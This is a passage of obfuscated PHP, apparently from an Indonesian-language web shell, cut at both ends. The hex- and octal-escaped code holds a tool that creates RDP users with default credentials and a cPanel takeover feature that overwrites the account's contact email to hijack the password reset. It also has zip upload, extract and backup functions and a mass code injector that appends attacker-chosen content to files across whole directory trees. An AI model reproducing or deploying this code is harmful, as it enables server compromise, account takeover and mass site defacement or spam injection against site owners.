"\133\x49\116\x46\117\x5d\40\55\x3e\40\x3c\146\157\156\x74\x20\143\157\x6c\x6f\162\75\162\145\x64\76\x75\163\x65\x72\40\74\146\x6f\x6e\164\40\x63\x6f\x6c\x6f\162\x3d\x6c\x69\x6d\145\76{$user}\x3c\x2f\x66\157\x6e\x74\76\40\x62\145\x6c\x75\x6d\40\x61\144\141\74\57\x66\x6f\x6e\164\x3e"; } } else { } } else { echo "\74\150\162\x3e\74\x62\x72\76\74\143\x65\156\x74\x65\x72\76"; echo "\74\150\x32\76\122\x44\x50\40\104\157\x6e\157\x20\123\x68\145\154\154\x3c\57\x68\62\76"; echo "\55\x2d\40\x43\x72\x65\141\164\x65\x20\x52\104\x50\40\55\x2d\x3c\142\162\76\12\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x3c\x66\157\x72\155\x20\155\145\164\150\157\144\x3d\47\160\157\163\x74\47\x3e\12\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\74\144\151\x76\x20\143\x6c\141\163\163\x20\75\40\x27\x72\157\x77\40\x63\154\145\141\162\x66\x69\x78\x27\76\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\74\x64\x69\x76\40\x63\x6c\x61\163\163\40\75\x20\47\143\x6f\154\x2d\x6d\x64\55\64\x27\x3e\12\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x3c\x75\76\x55\x73\145\162\156\141\x6d\145\72\74\x2f\165\x3e\12\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x3c\151\x6e\x70\x75\164\40\x63\x6c\141\x73\x73\40\x3d\47\x66\x6f\x72\x6d\55\143\x6f\156\164\x72\x6f\x6c\x27\x20\163\x74\x79\154\145\x20\75\x20\47\167\151\144\x74\x68\72\x32\65\x30\160\170\x3b\x68\x65\151\x67\150\x74\72\x34\60\x70\x78\73\47\x20\164\x79\x70\145\x3d\x27\x74\x65\170\164\47\x20\x6e\141\155\145\x3d\47\165\x73\145\x72\x27\40\x70\154\x61\143\x65\x68\157\154\x64\x65\162\75\x27\x75\x73\145\x72\x6e\x61\x6d\x65\x27\x20\166\x61\x6c\165\x65\75\x27\123\141\124\x69\x6e\107\x47\x61\x27\x20\x72\x65\x71\x75\x69\162\x65\x64\x3e\12\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\74\x2f\144\151\166\x3e\12\40\40\x20\40\x20\40\40\40\40\40\x20\40\x3c\144\x69\x76\x20\143\154\141\163\x73\x20\x3d\40\47\x63\157\154\55\x6d\x64\55\64\47\76\12\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x3c\165\76\x50\141\163\x73\x77\x6f\162\144\x3a\x3c\57\165\76\12\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x3c\151\156\x70\x75\x74\x20\143\x6c\141\x73\x73\x20\x3d\47\146\157\x72\155\x2d\143\x6f\156\164\x72\157\154\x27\x20\x73\164\x79\x6c\x65\40\75\x20\x27\167\x69\144\164\150\x3a\x32\65\x30\160\x78\73\x68\x65\x69\x67\150\164\x3a\64\60\160\170\x3b\47\x20\x74\171\160\x65\75\47\x74\x65\x78\x74\47\40\156\141\x6d\145\75\x27\160\141\x73\x73\47\40\x70\x6c\x61\143\145\x68\157\154\x64\x65\162\75\47\160\141\x73\x73\x77\x6f\x72\144\47\40\x76\x61\154\x75\x65\x3d\47\x53\x61\x54\x69\156\x47\107\141\47\40\162\x65\x71\x75\x69\x72\x65\144\76\xa\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\74\x2f\x64\151\166\76\xa\x20\40\40\x20\40\40\40\x20\40\40\40\40\x3c\144\151\166\40\143\154\x61\163\163\40\75\40\47\x63\157\154\x2d\x6d\144\55\64\x27\x3e\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\74\x75\76\x42\x75\x74\x74\157\x6e\72\x3c\x2f\x75\x3e\12\40\40\40\40\x20\40\x20\x20\40\40\40\40\74\x69\x6e\160\x75\x74\x20\143\154\141\x73\163\40\75\x27\x66\157\162\x6d\55\143\157\156\164\x72\157\x6c\47\x20\x73\164\171\154\145\x20\x3d\40\x27\167\151\144\x74\150\72\x32\x35\x30\160\x78\x3b\x68\145\151\147\x68\164\72\64\60\160\170\73\x27\40\x74\x79\x70\145\75\47\163\x75\x62\155\x69\164\47\x20\x6e\x61\155\145\x3d\x27\143\x72\145\141\164\x65\47\x20\x76\x61\154\165\x65\75\x27\107\141\x73\x73\x27\76\12\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x3c\x2f\144\151\166\76\12\40\40\x20\40\40\40\x20\40\x20\40\x20\40\74\57\144\x69\166\76\12\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x3c\x2f\x66\x6f\162\x6d\x3e\74\x62\162\76\12\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x2d\x2d\x20\x4f\x70\164\151\x6f\156\40\x2d\x2d\x3c\142\162\76\xa\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x3c\146\157\x72\x6d\40\x6d\145\x74\x68\157\144\75\x27\x70\157\x73\164\47\76\xa\x20\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x3c\x64\151\x76\40\143\154\x61\x73\163\x20\x3d\x20\x27\162\x6f\x77\40\x63\x6c\x65\141\162\x66\x69\170\x27\x3e\12\40\40\40\40\40\40\x20\40\x20\40\40\40\74\144\151\x76\x20\x63\x6c\141\163\x73\40\x3d\40\x27\143\x6f\154\x2d\155\x64\55\64\x27\x3e\12\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x3c\151\156\160\165\164\40\143\x6c\141\x73\x73\x20\75\x27\x66\x6f\x72\x6d\x2d\x63\157\156\x74\x72\x6f\x6c\x27\40\x73\164\171\154\145\x20\x3d\x20\x27\167\x69\144\x74\x68\72\x32\65\x30\160\170\73\x68\145\x69\x67\x68\x74\x3a\64\60\160\170\73\x27\40\164\171\x70\145\75\x27\x74\145\170\x74\47\40\156\141\x6d\145\x3d\x27\x72\137\x75\163\x65\162\x27\40\x70\x6c\141\143\x65\x68\x6f\154\x64\145\x72\x3d\x27\165\x73\145\162\156\x61\155\145\47\40\162\145\161\x75\151\162\x65\x64\76\xa\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\74\57\x64\151\x76\x3e\12\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x3c\x64\151\x76\40\143\154\x61\x73\163\x20\x3d\x20\x27\143\157\154\55\155\x64\55\x34\x27\x3e\xa\40\40\x20\40\40\40\40\40\x20\40\40\x20\74\163\x65\154\145\143\x74\x20\x6e\x61\155\x65\75\x27\157\160\163\151\47\x20\x63\154\x61\163\163\x20\75\47\x66\157\x72\x6d\x2d\x63\157\x6e\164\162\157\x6c\x27\x20\x73\x74\x79\154\145\40\75\40\x27\x77\151\x64\x74\150\x3a\x32\65\x30\x70\170\73\150\145\x69\147\150\164\72\64\x30\160\170\73\47\x3e\xa\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x3c\157\x70\x74\151\157\156\x20\166\141\154\x75\x65\75\x27\61\x27\x3e\103\x65\153\40\x55\x73\x65\162\156\x61\x6d\x65\x3c\x2f\157\160\x74\151\157\156\76\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x3c\157\160\x74\x69\157\x6e\x20\166\x61\x6c\165\x65\x3d\x27\62\47\76\x55\x62\141\x68\40\120\x61\163\x73\x77\157\x72\x64\74\x2f\x6f\x70\x74\151\x6f\x6e\76\xa\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\74\x6f\160\164\151\157\x6e\x20\166\141\x6c\165\x65\75\x27\63\47\76\x48\141\160\x75\x73\40\x55\x73\x65\162\156\141\x6d\145\x3c\57\x6f\x70\164\151\157\x6e\76\xa\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\x3c\x2f\x73\x65\x6c\145\143\x74\x3e\xa\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x3c\x2f\144\x69\x76\76\xa\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x3c\x64\151\x76\40\143\154\x61\x73\163\40\x3d\x20\47\x63\x6f\154\x2d\x6d\144\x2d\x34\47\76\xa\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\74\x69\156\160\165\164\40\x74\x79\160\x65\75\47\x73\x75\x62\155\151\164\x27\40\156\x61\155\145\x3d\x27\x73\x5f\157\160\x73\x69\47\40\x76\141\x6c\165\145\75\x27\103\x65\153\x27\x20\x63\x6c\141\163\x73\40\75\x27\x66\157\x72\155\x2d\143\x6f\156\164\x72\157\x6c\x27\x20\x73\x74\171\x6c\x65\x20\x3d\x20\47\x77\x69\x64\164\x68\x3a\x32\65\60\160\x78\x3b\x68\145\151\147\150\164\x3a\x34\60\160\170\73\x27\x3e\12\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x3c\x2f\144\x69\x76\76\xa\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x3c\x2f\144\x69\166\x3e\12\40\x20\40\40\40\40\40\x20\40\x20\40\x20\74\x2f\146\157\x72\155\x3e\x3c\150\162\x3e\74\142\x72\x3e\12\x20\40\x20\x20\40\40\x20\x20\40\40\40\40"; } } else { echo "\74\x63\145\x6e\x74\145\162\76\74\150\x32\x3e\x3c\146\x6f\x6e\x74\40\143\x6f\x6c\157\x72\x3d\x72\x65\144\76\x46\151\164\165\162\x20\x69\156\x69\x20\150\x61\156\x79\x61\40\144\141\160\141\164\40\144\x69\x67\x75\x6e\141\x6b\141\x6e\40\144\141\154\x61\x6d\40\x57\151\156\x64\157\x77\163\x20\x53\145\162\x76\x65\x72\x2e\74\57\x66\157\156\164\76\x3c\57\150\62\76\74\57\x63\145\x6e\164\x65\162\x3e"; } } elseif (isset($_GET[hex("\143\x70\x61\156\x65\154\x2d\x72\145\x73\145\x74")])) { AutomenU($d); echo "\12\11\x9\74\150\x72\x3e\x3c\142\162\76\12\40\x20\40\40\40\x20\x20\x20\x20\x3c\x63\x65\x6e\164\x65\x72\x3e\12\x20\40\x20\x20\x20\x20\x20\x20\x20\74\150\x32\x3e\103\160\x61\156\x65\x6c\x20\122\145\x73\145\x74\40\x59\x3c\x2f\x68\x32\x3e\xa\40\x20\x20\40\x20\40\40\40\40\74\x62\162\76\74\x62\x72\x3e\xa\x20\x20\x20\x20\40\40\40\x20\40\xa\40\x20\11\xa\40\40\x9\40\40\x20\x20\74\x66\x6f\162\x6d\x20\141\143\x74\151\157\x6e\75\x22\x22\40\x6d\145\164\x68\157\x64\75\x22\160\x6f\x73\164\x22\76\12\40\x20\11\40\40\x20\x20\74\x62\x3e\40\105\x6d\x61\x69\154\x20\72\40\74\x2f\x62\x3e\xa\40\x20\11\x3c\151\156\160\165\x74\40\x74\x79\160\x65\x3d\x22\x65\155\x61\x69\x6c\42\x20\156\141\x6d\x65\x3d\x22\145\x6d\141\x69\x6c\x22\x20\x63\154\x61\x73\x73\40\x3d\x20\42\x66\x6f\162\155\55\x63\157\156\164\162\157\154\x22\40\x73\x74\171\154\x65\40\x3d\40\x22\167\x69\x64\164\x68\72\62\x35\60\160\x78\73\x20\150\145\x69\x67\150\x74\72\64\x30\x70\x78\73\x22\x20\141\x75\x74\157\143\x6f\x6d\x70\x6c\145\x74\x65\75\42\157\x66\x66\42\x20\40\57\x3e\xa\40\x20\x9\74\142\x72\x3e\12\40\x20\11\x3c\x69\x6e\x70\165\164\40\x74\x79\x70\145\x3d\42\163\165\x62\155\x69\x74\42\x20\156\x61\155\145\x3d\42\163\165\142\x6d\x69\164\42\x20\166\x61\154\165\x65\x3d\x22\122\x65\163\145\164\x20\120\x61\163\163\x77\x6f\162\144\41\42\x20\x63\154\x61\x73\163\40\x3d\40\x22\x66\157\162\155\55\x63\x6f\156\164\162\157\x6c\x22\40\163\164\171\154\145\x20\75\40\42\x77\x69\x64\x74\x68\x3a\x32\x35\60\x70\170\x3b\x20\150\x65\x69\x67\x68\x74\x3a\x34\x30\160\x78\x3b\42\40\57\x3e\xa\x20\40\11\x3c\x2f\146\157\x72\x6d\x3e\xa\x20\40\11\74\x62\162\x3e\xa\x20\x20\x9\74\57\144\x69\166\x3e\12\x20\40\11\40\x20\40\40\40\74\x2f\143\x65\x6e\164\x65\162\x3e\xa\x20\x20\x9\40\x20\40\x20\40\74\x68\x72\76\x3c\x62\x72\x3e\xa\x20\x20\x20\x20\40"; $user = get_current_user(); $site = $_SERVER["\x48\124\124\x50\x5f\x48\117\x53\124"]; $ips = getenv("\122\x45\x4d\117\x54\x45\x5f\101\x44\x44\x52"); if (isset($_POST["\163\165\x62\155\151\x74"])) { $email = $_POST["\x65\x6d\141\151\x6c"]; $wr = "\145\155\141\151\x6c\x3a" . $email; $f = fopen("\x2f\150\157\155\145\x2f" . $user . "\57\56\x63\x70\141\156\x65\x6c\x2f\143\157\x6e\x74\141\x63\x74\x69\x6e\x66\157", "\x77"); fwrite($f, $wr); fclose($f); $f = fopen("\57\x68\x6f\155\145\57" . $user . "\x2f\x2e\x63\x6f\156\164\141\x63\x74\151\x6e\x66\157", "\x77"); fwrite($f, $wr); fclose($f); $parm = "\x44\151\163\x69\156\x69\x20\72\x20" . $site . "\72\x32\x30\70\63\x2f\x72\x65\x73\x65\164\160\x61\x73\x73\77\x73\x74\x61\x72\x74\75\x31"; echo "\x3c\142\162\57\76\74\143\x65\156\x74\145\x72\76" . $parm . "\74\57\143\145\156\x74\x65\x72\x3e"; } } elseif (isset($_GET[hex("\172\151\160\x2d\x6d\x65\156\165")])) { AutomenU($d); echo "\74\x63\145\156\x74\x65\x72\x3e"; echo "\x3c\150\162\76\74\x62\162\x3e"; echo "\x3c\150\62\x3e\132\151\160\x20\115\145\156\x75\74\57\x68\62\x3e"; function rmdir_recursive($dir) { foreach (scandir($dir) as $file) { if ("\x2e" === $file || "\x2e\x2e" === $file) { continue; } if (is_dir("{$dir}\57{$file}")) { rmdir_recursive("{$dir}\x2f{$file}"); } else { unlink("{$dir}\57{$file}"); } } rmdir($dir); } if ($_FILES["\x7a\151\x70\137\x66\x69\x6c\145"]["\156\141\155\x65"]) { $filename = $_FILES["\x7a\151\x70\137\x66\151\154\145"]["\x6e\x61\155\145"]; $source = $_FILES["\x7a\x69\160\x5f\x66\151\x6c\145"]["\x74\x6d\160\137\x6e\x61\155\x65"]; $type = $_FILES["\172\151\x70\x5f\x66\x69\154\x65"]["\x74\171\x70\145"]; $name = explode("\56", $filename); $accepted_types = array("\141\x70\160\154\151\143\x61\164\x69\x6f\x6e\x2f\x7a\151\x70", "\141\160\160\154\151\143\141\x74\151\157\x6e\x2f\170\x2d\x7a\x69\x70\x2d\143\x6f\x6d\x70\162\x65\163\x73\145\x64", "\x6d\165\154\x74\151\x70\x61\162\164\57\170\x2d\172\151\160", "\141\160\160\x6c\x69\143\x61\x74\x69\x6f\x6e\57\x78\x2d\x63\157\155\160\x72\145\163\x73\145\144"); foreach ($accepted_types as $mime_type) { if ($mime_type == $type) { $okay = true; break; } } $continue = strtolower($name[1]) == "\172\x69\160" ? true : false; if (!$continue) { $message = "\x49\x74\x75\x20\x42\x75\153\141\x6e\40\132\151\160\x20\x20\54\40\54\40\x47\x4f\x42\x4c\x4f\113\x20\x43\x4f\113"; } $path = dirname(__FILE__) . "\x2f"; $filenoext = basename($filename, "\x2e\172\151\160"); $filenoext = basename($filenoext, "\x2e\x5a\111\x50"); $targetdir = $path . $filenoext; $targetzip = $path . $filename; if (is_dir($targetdir)) { rmdir_recursive($targetdir); } mkdir($targetdir, 511); if (move_uploaded_file($source, $targetzip)) { $zip = new ZipArchive(); $x = $zip->open($targetzip); if ($x === true) { $zip->extractTo($targetdir); $zip->close(); unlink($targetzip); } $message = "\74\x62\x3e\123\165\153\163\x65\x73\x20\x43\157\x6b\40\x3a\x29\x3c\57\142\x3e"; } else { $message = "\x3c\x62\x3e\x45\x72\162\157\x72\x20\x4a\141\x6e\x63\157\153\x20\x3a\50\x3c\x2f\x62\76"; } } echo "\74\x74\141\x62\x6c\145\40\x73\164\x79\154\145\75\x22\167\151\x64\x74\150\x3a\x31\60\60\x25\42\x20\x62\x6f\162\x64\145\162\75\42\61\x22\76\12\x3c\x66\x6f\162\155\x20\x65\156\143\164\x79\160\145\75\42\155\x75\154\164\x69\160\141\162\164\x2f\x66\x6f\162\x6d\55\x64\x61\x74\x61\x22\x20\x6d\145\164\x68\157\144\75\x22\x70\x6f\163\164\42\x20\141\143\x74\x69\157\156\75\42\x22\x3e\12\x3c\x6c\x61\142\x65\x6c\x3e\x5a\x69\x70\x20\106\x69\154\145\40\x3a\40\74\x69\x6e\x70\165\x74\x20\164\x79\160\x65\75\x22\146\151\154\x65\42\40\x63\154\141\163\163\75\42\x66\157\x72\155\55\143\x6f\x6e\164\162\x6f\154\42\40\156\x61\x6d\x65\x3d\x22\172\151\160\137\x66\151\x6c\x65\42\x20\57\76\x3c\57\154\141\142\x65\154\x3e\xa\x3c\151\156\x70\165\x74\40\x74\x79\160\x65\75\x22\x73\165\x62\x6d\x69\164\42\40\143\x6c\x61\x73\163\x3d\x22\146\x6f\162\x6d\x2d\143\157\x6e\x74\x72\157\154\42\40\163\164\171\x6c\x65\75\42\167\x69\144\x74\x68\x3a\62\65\x30\x70\170\x3b\x22\40\156\x61\x6d\145\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x76\x61\154\x75\145\75\42\125\160\x6c\x6f\x61\144\x20\x41\156\x64\40\125\x6e\172\151\x70\x22\x20\57\x3e\xa\x3c\57\146\157\x72\x6d\76\74\142\x72\x3e\x3c\x62\x72\76"; if ($message) { echo "\x3c\x70\76{$message}\74\57\160\76"; } echo "\74\150\62\x3e\132\x69\x70\x20\x42\x61\143\153\165\x70\74\57\x68\x32\x3e\xa\x3c\x66\157\162\x6d\x20\x61\x63\x74\151\157\x6e\75\x27\x27\x20\x6d\x65\164\x68\157\144\x3d\47\160\157\163\x74\47\76\74\x66\157\156\x74\x20\163\164\171\x6c\145\75\47\x74\145\170\x74\x2d\144\x65\x63\157\162\x61\x74\151\x6f\156\x3a\40\x75\156\144\145\162\x6c\x69\156\x65\x3b\x27\x3e\x46\x6f\x6c\x64\145\162\x3a\74\57\146\157\156\164\x3e\x3c\x62\162\76\xa\x3c\151\x6e\x70\165\164\x20\x63\x6c\x61\163\x73\75\47\146\157\x72\x6d\55\143\x6f\x6e\164\x72\157\154\x27\40\x74\171\x70\145\75\x27\x74\x65\170\164\x27\40\156\x61\x6d\x65\75\47\x64\x69\x72\x27\40\x76\x61\x6c\165\145\x3d\47{$dir}\x27\40\163\x74\171\154\145\x3d\x27\167\151\x64\x74\x68\x3a\x20\64\65\x30\160\x78\73\47\x20\150\x65\x69\147\150\x74\x3d\x27\x31\x30\x27\76\74\x62\162\x3e\74\x62\x72\x3e\12\74\146\x6f\156\x74\40\163\x74\171\154\145\75\x27\x74\145\x78\164\x2d\144\145\x63\x6f\x72\141\x74\151\x6f\156\x3a\x20\165\x6e\x64\145\x72\x6c\151\x6e\x65\x3b\x27\x3e\x53\141\x76\x65\40\124\x6f\72\x3c\x2f\146\157\156\x74\76\74\x62\x72\x3e\xa\x3c\x69\x6e\160\165\164\40\143\x6c\141\x73\163\75\x27\x66\x6f\162\155\x2d\x63\x6f\156\x74\162\x6f\x6c\x27\x20\164\x79\x70\145\x3d\x27\x74\145\170\x74\x27\x20\156\141\155\145\75\x27\x73\141\x76\145\x27\40\166\x61\x6c\165\145\x3d\47{$dir}\57\131\x5f\142\x61\143\153\x75\x70\56\x7a\x69\160\47\40\x73\x74\x79\x6c\145\75\47\167\x69\144\164\150\x3a\x20\x34\x35\x30\x70\x78\73\x27\40\150\145\151\147\150\x74\x3d\x27\61\x30\47\76\74\142\x72\76\x3c\x62\162\x3e\12\74\x69\x6e\x70\x75\164\x20\143\x6c\141\163\x73\75\47\x66\157\162\x6d\x2d\143\157\x6e\164\x72\157\154\x27\40\164\171\160\145\x3d\x27\x73\x75\142\x6d\151\164\x27\x20\156\x61\155\145\75\47\142\x61\143\153\165\160\x27\x20\x63\x6c\141\x73\x73\x3d\x27\x6b\157\164\x61\x6b\47\40\166\141\x6c\x75\x65\x3d\x27\x42\141\143\153\40\125\160\x21\x27\x20\x73\x74\171\154\x65\x3d\47\167\151\x64\x74\150\72\40\x32\61\x35\160\x78\73\47\x3e\x3c\57\146\x6f\162\x6d\x3e\74\142\162\76\x3c\142\x72\76"; if ($_POST["\142\x61\143\x6b\x75\x70"]) { $save = $_POST["\163\141\x76\x65"]; function Zip($source, $destination) { if (extension_loaded("\x7a\151\160") === true) { if (file_exists($source) === true) { $zip = new ZipArchive(); if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = realpath($source); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = realpath($file); if (is_dir($file) === true) { $zip->addEmptyDir(str_replace($source . "\57", '', $file . "\x2f")); } else { if (is_file($file) === true) { $zip->addFromString(str_replace($source . "\x2f", '', $file), fgt($file)); } } } } else { if (is_file($source) === true) { $zip->addFromString(basename($source), fgt($source)); } } } return $zip->close(); } } return false; } Zip($_POST["\x64\x69\162"], $save); echo "\x53\145\x6c\x65\x73\141\151\40\x2c\40\123\x61\x76\145\40\x54\157\x20\x3c\x62\76{$save}\74\57\x62\x3e"; } echo "\12\x20\40\x20\x20\40\40\x20\40\x3c\x68\62\76\x55\x6e\x7a\151\160\40\115\x61\156\x75\141\x6c\74\57\150\x32\x3e\12\40\x20\40\x20\x3c\x66\x6f\162\155\40\x61\143\164\x69\x6f\x6e\x3d\47\47\x20\x6d\x65\x74\x68\x6f\x64\x3d\47\x70\x6f\x73\164\47\76\x3c\146\x6f\x6e\x74\40\163\164\x79\154\x65\75\47\164\x65\170\x74\x2d\x64\145\143\x6f\162\x61\164\151\x6f\x6e\72\40\x75\x6e\144\x65\x72\x6c\151\x6e\x65\x3b\47\x3e\x5a\x69\x70\40\114\157\143\141\x74\151\157\x6e\x3a\x3c\x2f\146\157\156\164\x3e\x3c\x62\x72\x3e\xa\x20\40\x20\40\x3c\151\x6e\x70\x75\164\40\143\x6c\x61\x73\163\x3d\47\146\157\162\155\55\x63\x6f\156\164\x72\157\x6c\x27\40\164\x79\x70\145\75\x27\x74\x65\x78\x74\47\40\x6e\x61\155\x65\75\x27\144\151\162\47\40\x76\x61\x6c\x75\x65\75\47{$dir}\57\x66\151\154\x65\x2e\x7a\x69\x70\47\40\163\x74\x79\x6c\145\75\x27\167\151\x64\164\150\72\40\64\x35\x30\x70\x78\73\x27\40\150\145\x69\x67\x68\x74\x3d\x27\61\60\47\x3e\74\142\x72\76\74\x62\162\x3e\12\x20\x20\40\40\x3c\146\157\x6e\164\x20\163\x74\171\x6c\145\x3d\47\x74\145\x78\164\x2d\x64\145\143\157\x72\141\164\x69\157\x6e\x3a\x20\x75\156\x64\x65\x72\x6c\151\156\x65\73\47\76\123\x61\166\145\x20\124\x6f\72\74\57\146\157\x6e\x74\x3e\74\142\162\76\xa\40\x20\x20\x20\x3c\151\156\x70\x75\164\x20\143\x6c\x61\163\x73\x3d\x27\x66\157\162\x6d\x2d\143\157\156\164\162\x6f\x6c\x27\x20\x74\171\160\x65\x3d\47\x74\x65\x78\164\x27\x20\156\141\155\x65\75\47\163\x61\166\145\x27\x20\x76\x61\154\x75\x65\75\x27{$dir}\x2f\131\x5f\x75\156\x7a\x69\x70\x27\x20\x73\164\171\154\x65\x3d\47\x77\x69\x64\164\x68\72\40\x34\65\60\160\170\x3b\x27\40\x68\145\151\x67\x68\164\75\47\x31\x30\47\x3e\74\142\162\x3e\74\x62\162\76\12\x20\x20\40\x20\x3c\x69\x6e\x70\165\x74\x20\x63\154\x61\163\x73\x3d\47\146\x6f\x72\x6d\55\143\157\x6e\164\x72\x6f\154\47\x20\164\x79\160\x65\75\x27\x73\x75\142\155\x69\164\47\x20\156\141\155\x65\x3d\x27\145\170\164\x72\x61\x6b\47\40\143\x6c\141\x73\163\x3d\47\153\x6f\x74\x61\153\x27\40\x76\x61\x6c\165\x65\75\47\125\156\x7a\x69\160\x21\47\40\x73\164\171\x6c\x65\x3d\x27\x77\151\x64\x74\x68\72\40\62\x31\x35\160\x78\73\x27\76\74\57\146\157\162\x6d\x3e\x3c\x62\x72\76\74\142\x72\x3e\xa\x20\x20\x20\x20"; if ($_POST["\145\x78\164\162\x61\153"]) { $save = $_POST["\163\141\x76\145"]; $zip = new ZipArchive(); $res = $zip->open($_POST["\144\151\162"]); if ($res === TRUE) { $zip->extractTo($save); $zip->close(); echo "\123\165\143\143\145\x73\40\x2c\x20\114\157\143\141\164\x69\x6f\156\40\x3a\x20\x3c\x62\76" . $save . "\x3c\57\x62\76"; } else { echo "\107\141\147\141\x6c\40\103\157\153\40\72\x28\x20\116\164\141\x68\x6c\141\x68\x20\41"; } } echo "\x3c\57\164\x61\142\x6c\x65\x3e\x3c\x68\x72\x3e"; } elseif (isset($_GET[hex("\x69\156\x6a\145\143\x74\55\143\157\x64\x65")])) { AutomenU($d); echo "\74\150\162\76\x3c\x62\162\76"; echo "\74\143\145\156\x74\145\x72\x3e\74\x68\62\x3e\x4d\141\x73\163\40\103\x6f\x64\145\x20\111\x6e\x6a\x65\143\164\157\162\40\131\x3c\57\x68\x32\x3e\x3c\57\x63\x65\156\x74\145\x72\x3e"; if (stristr(php_uname(), "\x57\151\156\144\157\x77\163")) { $DS = "\x5c"; } else { if (stristr(php_uname(), "\114\x69\156\165\170")) { $DS = "\x2f"; } } function get_structure($path, $depth) { global $DS; $res = array(); if (in_array(0, $depth)) { $res[] = $path; } if (in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) { $tmp1 = glob($path . $DS . "\52", GLOB_ONLYDIR); if (in_array(1, $depth)) { $res = array_merge($res, $tmp1); } } if (in_array(2, $depth) or in_array(3, $depth)) { $tmp2 = array(); foreach ($tmp1 as $t) { $tp2 = glob($t . $DS . "\52", GLOB_ONLYDIR); $tmp2 = array_merge($tmp2, $tp2); } if (in_array(2, $depth)) { $res = array_merge($res, $tmp2); } } if (in_array(3, $depth)) { $tmp3 = array(); foreach ($tmp2 as $t) { $tp3 = glob($t . $DS . "\52", GLOB_ONLYDIR); $tmp3 = array_merge($tmp3, $tp3); } $res = array_merge($res, $tmp3); } return $res; } if (isset($_POST["\x73\165\x62\155\151\164"]) && $_POST["\x73\165\142\x6d\151\x74"] == "\x49\x6e\152\145\143\x74") { $name = $_POST["\x6e\x61\155\x65"] ? $_POST["\156\x61\x6d\x65"] : "\x2a"; $type = $_POST["\x74\171\x70\x65"] ? $_POST["\164\171\160\x65"] : "\x68\164\155\x6c"; $path = $_POST["\160\x61\164\x68"] ? $_POST["\160\x61\x74\x68"] : getcwd(); $code = $_POST["\143\157\x64\x65"] ? $_POST["\143\157\x64\145"] : "\x50\141\x6e\145\156\x31\x33\70"; $mode = $_POST["\155\157\x64\x65"] ? $_POST["\x6d\157\x64\145"] : "\x61"; $depth = sizeof($_POST["\144\x65\160\164\x68"]) ? $_POST["\144\x65\x70\x74\150"] : array("\60"); $dt = get_structure($path, $depth); foreach ($dt as $d) { if ($mode == "\141") { if (file_put_contents($d . $DS . $name . "\56" . $type, $code, FILE_APPEND | LOCK_EX)) { echo "\x3c\x64\x69\166\x3e\x3c\163\164\x72\x6f\156\x67\76" . $d . $DS . $name . "\56" . $type . "\x3c\57\163\x74\162\157\156\147\x3e\74\163\160\x61\156\x20\163\x74\171\154\x65\75\x22\x63\x6f\154\157\162\x3a\162\145\144\x3b\42\x3e\x20\167\141\x73\40\x69\x6e\152\x65\143\x74\145\x64\x3c\x2f\163\160\x61\x6e\76\x3c\57\x64\x69\166\x3e"; } else { echo "\x3c\x64\x69\x76\x3e\74\163\x70\x61\156\40\163\164\171\154\145\75\42\x63\157\x6c\157\162\72\162\145\x64\73\x22\x3e\146\141\151\154\145\x64\x20\x74\157\x20\x69\156\x6a\145\143\164\x3c\57\x73\160\x61\156\76\40\x3c\x73\x74\162\x6f\156\x67\x3e" . $d . $DS . $name . "\56" . $type . "\74\57\163\164\162\x6f\156\x67\x3e\74\x2f\144\151\x76\x3e"; } } else { if (file_put_contents($d . $DS . $name . "\56" . $type, $code)) { echo "\74\x64\151\166\76\x3c\x73\164\x72\x6f\156\x67\x3e" . $d . $DS . $name . "\x2e" . $type . "\x3c\x2f\x73\164\162\x6f\156\x67\76\x3c\163\160\141\156\40\163\x74\x79\154\145\75\42\x63\x6f\154\157\162\72\162\x65\144\x3b\42\x3e\40\167\x61\x73\x20\x69\x6e\152\x65\x63\x74\x65\144\74\x2f\163\160\141\156\76\74\57\x64\x69\x76\x3e"; } else { echo "\x3c\144\151\x76\x3e\x3c\163\x70\141\x6e\40\163\164\x79\x6c\145\x3d\42\x63\x6f\x6c\157\162\x3a\162\x65\144\73\42\x3e\146\141\x69\154\145\144\40\164\x6f\40\x69\156\x6a\x65\143\x74\74\57\163\160\141\x6e\x3e\x20\74\x73\x74\x72\157\x6e\147\x3e" . $d . $DS . $name . "\56" . $type . "\x3c\57\x73\164\x72\x6f\156\x67\x3e\x3c\x2f\144\x69\x76\x3e"; } } } } else { echo 